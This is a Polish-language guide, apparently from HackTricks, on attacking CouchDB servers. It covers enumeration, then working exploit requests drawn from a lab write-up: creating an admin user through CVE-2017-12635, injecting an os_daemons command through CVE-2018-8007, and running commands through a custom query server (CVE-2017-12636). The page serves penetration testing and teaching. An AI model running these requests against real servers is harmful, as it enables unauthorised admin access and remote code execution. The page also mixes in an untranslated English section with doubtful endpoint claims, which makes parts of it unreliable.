23 KiB
5984,6984 - Testowanie penetracyjne CouchDB
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.
Podstawowe informacje
CouchDB to wszechstronna i potężna baza danych zorientowana na dokumenty, która organizuje dane za pomocą struktury mapy klucz-wartość wewnątrz każdego dokumentu. Pola wewnątrz dokumentu mogą być reprezentowane jako pary klucz/wartość, listy lub mapy, co zapewnia elastyczność w przechowywaniu i pobieraniu danych.
Każdemu dokumentowi przechowywanemu w CouchDB przypisywany jest unikalny identyfikator (_id
) na poziomie dokumentu. Ponadto, każda modyfikacja dokonana i zapisana w bazie danych otrzymuje numer rewizji (_rev
). Numer tej rewizji umożliwia efektywne śledzenie i zarządzanie zmianami, ułatwiając łatwe pobieranie i synchronizację danych w bazie danych.
Domyślny port: 5984 (http), 6984 (https)
PORT STATE SERVICE REASON
5984/tcp open unknown syn-ack
Automatyczne wyliczanie
CouchDB jest bazą danych NoSQL, która może być podatna na różne ataki. Przed przystąpieniem do testowania penetracyjnego CouchDB, warto przeprowadzić automatyczne wyliczanie, aby zidentyfikować dostępne zasoby i potencjalne luki w zabezpieczeniach.
Nmap
Nmap jest popularnym narzędziem do skanowania sieci, które może być używane do wykrywania otwartych portów i usług na hoście. Możemy użyć Nmap do skanowania portów CouchDB, aby sprawdzić, czy serwer CouchDB jest dostępny.
nmap -p 5984 <adres_IP>
CouchDB Fauxton
CouchDB Fauxton to interfejs użytkownika dostępny w przeglądarce, który umożliwia zarządzanie bazą danych CouchDB. Możemy użyć Fauxtona do automatycznego wyliczania dostępnych baz danych i dokumentów.
http://<adres_IP>:5984/_utils/
CouchDB API
CouchDB udostępnia API, które umożliwia interakcję z bazą danych za pomocą żądań HTTP. Możemy użyć API, aby automatycznie wyliczyć dostępne bazy danych, dokumenty i widoki.
GET http://<adres_IP>:5984/_all_dbs
GET http://<adres_IP>:5984/<nazwa_bazy_danych>
GET http://<adres_IP>:5984/<nazwa_bazy_danych>/<id_dokumentu>
GET http://<adres_IP>:5984/<nazwa_bazy_danych>/_design/<nazwa_widoku>/_view/<nazwa_widoku>
CouchDB-Lucene
CouchDB-Lucene to rozszerzenie, które umożliwia pełnotekstowe wyszukiwanie w bazie danych CouchDB. Możemy użyć CouchDB-Lucene do automatycznego wyliczania dostępnych indeksów i wyszukiwań.
http://<adres_IP>:5984/_fti/
CouchDB-Enum
CouchDB-Enum to narzędzie napisane w języku Python, które automatycznie wylicza dostępne bazy danych, dokumenty i widoki w bazie danych CouchDB.
python couchdb-enum.py <adres_IP>
Automatyczne wyliczanie jest ważnym krokiem podczas testowania penetracyjnego CouchDB, ponieważ pomaga zidentyfikować potencjalne luki w zabezpieczeniach i dostępne zasoby, które mogą być wykorzystane podczas ataku.
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum
Baner
CouchDB exposes a banner that can provide useful information about the version and configuration of the server. This information can be obtained by sending a GET request to the root URL of the CouchDB server.
GET /
The response will include the server banner, which typically includes the version number and other details.
Version Detection
CouchDB version detection can be performed by analyzing the server banner or by sending a GET request to the _utils
endpoint.
GET /_utils/
The response will include the version number of CouchDB.
Database Enumeration
To enumerate the databases hosted on a CouchDB server, send a GET request to the _all_dbs
endpoint.
GET /_all_dbs
The response will include a list of all the databases on the server.
Document Enumeration
To enumerate the documents within a specific database, send a GET request to the _all_docs
endpoint.
GET /<database_name>/_all_docs
The response will include a list of all the documents within the specified database.
User Enumeration
To enumerate the users registered on a CouchDB server, send a GET request to the _users
endpoint.
GET /_users
The response will include a list of all the registered users.
View Enumeration
To enumerate the views defined within a specific database, send a GET request to the _design/<design_document>/_view
endpoint.
GET /<database_name>/_design/<design_document>/_view
The response will include a list of all the views defined within the specified database.
Replication Enumeration
To enumerate the replications configured on a CouchDB server, send a GET request to the _replicator
endpoint.
GET /_replicator
The response will include a list of all the configured replications.
Privilege Enumeration
To enumerate the privileges assigned to users on a CouchDB server, send a GET request to the _security
endpoint.
GET /_security
The response will include information about the privileges assigned to users.
Cluster Enumeration
To enumerate the nodes in a CouchDB cluster, send a GET request to the _membership
endpoint.
GET /_membership
The response will include information about the nodes in the cluster.
curl http://IP:5984/
To wywołuje żądanie GET do zainstalowanej instancji CouchDB. Odpowiedź powinna wyglądać mniej więcej tak jak jedno z poniższych:
{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
{% hint style="info" %}
Zauważ, że jeśli dostęp do głównego katalogu couchdb otrzymasz 401 Unauthorized
z czymś takim jak to: {"error":"unauthorized","reason":"Authentication required."}
nie będziesz w stanie uzyskać dostępu do baneru ani żadnego innego punktu końcowego.
{% endhint %}
Wyliczanie informacji
Oto punkty końcowe, do których można uzyskać dostęp za pomocą żądania GET i wyodrębnić pewne interesujące informacje. Możesz znaleźć więcej punktów końcowych i bardziej szczegółowe opisy w dokumentacji couchdb.
/_active_tasks
Lista uruchomionych zadań, w tym typ zadania, nazwa, status i identyfikator procesu./_all_dbs
Zwraca listę wszystkich baz danych w instancji CouchDB./_cluster_setup
Zwraca stan węzła lub klastra zgodnie z kreatora konfiguracji klastra./_db_updates
Zwraca listę wszystkich zdarzeń bazy danych w instancji CouchDB. Istnienie bazy danych_global_changes
jest wymagane do korzystania z tego punktu końcowego./_membership
Wyświetla węzły, które są częścią klastra jakocluster_nodes
. Poleall_nodes
wyświetla wszystkie węzły, o których ten węzeł wie, w tym te, które są częścią klastra./_scheduler/jobs
Lista zadań replikacji. Każdy opis zadania będzie zawierał informacje o źródle i celu, identyfikatorze replikacji, historii ostatnich zdarzeń i kilku innych rzeczach./_scheduler/docs
Lista stanów dokumentów replikacji. Zawiera informacje o wszystkich dokumentach, nawet w stanachcompleted
ifailed
. Dla każdego dokumentu zwraca identyfikator dokumentu, bazę danych, identyfikator replikacji, źródło i cel, oraz inne informacje./_scheduler/docs/{replicator_db}
/_scheduler/docs/{replicator_db}/{docid}
/_node/{node-name}
Punktem końcowym/_node/{node-name}
można potwierdzić nazwę węzła Erlang serwera przetwarzającego żądanie. Jest to najbardziej przydatne podczas dostępu do/_node/_local
w celu pobrania tych informacji./_node/{node-name}/_stats
Zasób_stats
zwraca obiekt JSON zawierający statystyki działającego serwera. Dosłowny ciąg znaków_local
służy jako alias dla lokalnej nazwy węzła, więc dla wszystkich adresów URL statystyk,{node-name}
można zastąpić_local
, aby działać na statystykach lokalnego węzła./_node/{node-name}/_system
Zasób _system zwraca obiekt JSON zawierający różne statystyki na poziomie systemu działającego serwera_._ Możesz użyć ___local
jako {node-name} aby uzyskać informacje o bieżącym węźle./_node/{node-name}/_restart
/_up
Potwierdza, że serwer jest uruchomiony, działa i gotowy do odpowiedzi na żądania. Jeślimaintenance_mode
jesttrue
lubnolb
, punkt końcowy zwróci odpowiedź 404./_uuids
Wysyła żądanie o jedno lub więcej unikalnych identyfikatorów UUID z instancji CouchDB./_reshard
Zwraca liczbę ukończonych, nieudanych, uruchomionych, zatrzymanych i wszystkich zadań wraz ze stanem przeprowadzania operacji resharding na klastrze.
Więcej interesujących informacji można wyodrębnić, jak wyjaśniono tutaj: https://lzone.de/cheat-sheet/CouchDB
Lista baz danych
curl -X GET http://IP:5984/_all_dbs
Jeśli żądanie odpowiada 401 unauthorised, to potrzebujesz poprawnych danych uwierzytelniających, aby uzyskać dostęp do bazy danych:
curl -X GET http://user:password@IP:5984/_all_dbs
Aby znaleźć prawidłowe dane uwierzytelniające, można spróbować przeprowadzić atak brutalnej siły.
Poniżej znajduje się przykład odpowiedzi couchdb, gdy masz wystarczające uprawnienia do wyświetlania listy baz danych (to tylko lista baz danych):
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
Informacje o bazie danych
Możesz uzyskać pewne informacje o bazie danych (takie jak liczba plików i rozmiary) poprzez dostęp do nazwy bazy danych:
curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}
Lista dokumentów
Wypisz każdy wpis wewnątrz bazy danych
curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}
Odczytaj dokument
Odczytaj zawartość dokumentu wewnątrz bazy danych:
curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
Eskalacja uprawnień w CouchDB CVE-2017-12635
Dzięki różnicom między parserami JSON w Erlangu i JavaScript można utworzyć użytkownika admina o danych uwierzytelniających hacktricks:hacktricks
za pomocą następującego żądania:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
Więcej informacji na temat tej luki znajdziesz tutaj.
CouchDB RCE
Przegląd zabezpieczeń pliku cookie Erlang
Przykład stąd.
W dokumentacji CouchDB, konkretnie w sekcji dotyczącej konfiguracji klastra (link), omawiane jest wykorzystanie portów przez CouchDB w trybie klastra. Wspomina się, że, podobnie jak w trybie samodzielnym, używany jest port 5984
. Dodatkowo, port 5986
jest przeznaczony dla lokalnych interfejsów API węzła, a co ważne, Erlang wymaga portu TCP 4369
dla Erlang Port Mapper Daemon (EPMD), który umożliwia komunikację między węzłami w klastrze Erlang. Ta konfiguracja tworzy sieć, w której każdy węzeł jest połączony z każdym innym węzłem.
Podkreślono istotne zalecenie dotyczące portu 4369
. Jeśli ten port jest dostępny przez Internet lub jakąkolwiek niewiarygodną sieć, bezpieczeństwo systemu w dużej mierze zależy od unikalnego identyfikatora znanego jako "cookie". To cookie działa jako zabezpieczenie. Na przykład, w danym procesie można zauważyć cookie o nazwie "monster", co wskazuje na jego rolę w ramach struktury zabezpieczeń systemu.
www-data@canape:/$ ps aux | grep couchdb
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
Dla zainteresowanych zrozumieniem, jak można wykorzystać "cookie" do zdalnego wykonania kodu (RCE) w kontekście systemów Erlang, dostępna jest dedykowana sekcja do dalszego czytania. Szczegółowo opisuje ona metody wykorzystywania plików cookie Erlang w nieautoryzowany sposób w celu uzyskania kontroli nad systemami. Możesz zapoznać się z szczegółowym przewodnikiem dotyczącym nadużywania plików cookie Erlang do RCE tutaj.
Wykorzystanie CVE-2018-8007 poprzez modyfikację local.ini
Przykład stąd.
Zbadano niedawno ujawnioną podatność, CVE-2018-8007, dotyczącą Apache CouchDB, która ujawniła, że do jej wykorzystania wymagane są uprawnienia do zapisu pliku local.ini
. Chociaż nie jest to bezpośrednio zastosowalne do początkowego systemu docelowego ze względu na ograniczenia bezpieczeństwa, dokonano modyfikacji w celu przyznania dostępu do zapisu pliku local.ini
w celach badawczych. Poniżej przedstawiono szczegółowe kroki i przykłady kodu, które ilustrują ten proces.
Najpierw przygotowuje się środowisko, upewniając się, że plik local.ini
jest zapisywalny, co można zweryfikować, wyświetlając uprawnienia:
root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
-rw-rw-rw- 1 homer homer 4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
Aby wykorzystać podatność, wykonuje się polecenie curl, które jest skierowane na konfigurację cors/origins
w pliku local.ini
. Wstrzykuje to nowe źródło wraz z dodatkowymi poleceniami w sekcji [os_daemons]
, mającym na celu wykonanie dowolnego kodu:
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Kolejna weryfikacja pokazuje wstrzykniętą konfigurację w local.ini
, porównując ją z kopią zapasową, aby uwidocznić zmiany:
root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf
Początkowo oczekiwany plik (/tmp/0xdf
) nie istnieje, co wskazuje, że wstrzyknięta komenda nie została jeszcze wykonana. Dalsze dochodzenie ujawnia, że działają procesy związane z CouchDB, w tym jeden, który potencjalnie może wykonać wstrzykniętą komendę:
root@canape:/home/homer/bin# ps aux | grep couch
Poprzez zakończenie zidentyfikowanego procesu CouchDB i umożliwienie systemowi automatycznego ponownego uruchomienia, zostaje uruchomione wykonanie wstrzykniętej komendy, co potwierdza istnienie wcześniej brakującego pliku:
root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf
To badanie potwierdza możliwość wykorzystania CVE-2018-8007 w określonych warunkach, zwłaszcza wymagane jest uprawnienie do zapisu pliku local.ini
. Przedstawione przykłady kodu i kroki proceduralne oferują jasny przewodnik po replikacji ataku w kontrolowanym środowisku.
Aby uzyskać więcej szczegółów na temat CVE-2018-8007, odwołaj się do komunikatu firmy mdsec: CVE-2018-8007.
Badanie CVE-2017-12636 z uprawnieniami do zapisu w local.ini
Przykład stąd.
Zbadano podatność znana jako CVE-2017-12636, która umożliwia wykonanie kodu za pośrednictwem procesu CouchDB, chociaż określone konfiguracje mogą uniemożliwić jej wykorzystanie. Pomimo dostępności wielu przykładów Proof of Concept (POC) online, konieczne są dostosowania, aby wykorzystać podatność w wersji CouchDB 2, różniącej się od powszechnie atakowanej wersji 1.x. Pierwsze kroki polegają na sprawdzeniu wersji CouchDB i potwierdzeniu braku oczekiwanej ścieżki serwerów zapytań.
curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/
Aby dostosować się do wersji CouchDB 2.0, używana jest nowa ścieżka:
curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
Próby dodania i wywołania nowego serwera zapytań napotkały błędy związane z uprawnieniami, o czym świadczy poniższy wynik:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Dalsze dochodzenie wykazało problemy z uprawnieniami pliku local.ini
, który nie był zapisywalny. Poprzez modyfikację uprawnień pliku za pomocą dostępu root lub homer, możliwe stało się kontynuowanie:
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini
Następne próby dodania serwera zapytań zakończyły się sukcesem, co potwierdzają brak komunikatów o błędach w odpowiedzi. Pomyślna modyfikacja pliku local.ini
została potwierdzona poprzez porównanie plików:
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
Proces kontynuowano poprzez utworzenie bazy danych i dokumentu, a następnie próbę wykonania kodu za pomocą niestandardowego mapowania widoku do nowo dodanego serwera zapytań:
curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
Podsumowanie z alternatywnym ładunkiem dostarcza dalszych informacji na temat wykorzystania CVE-2017-12636 w określonych warunkach. Przydatne zasoby do wykorzystania tej podatności obejmują:
Shodan
port:5984 couchdb
Referencje
- https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html
- https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud github repos.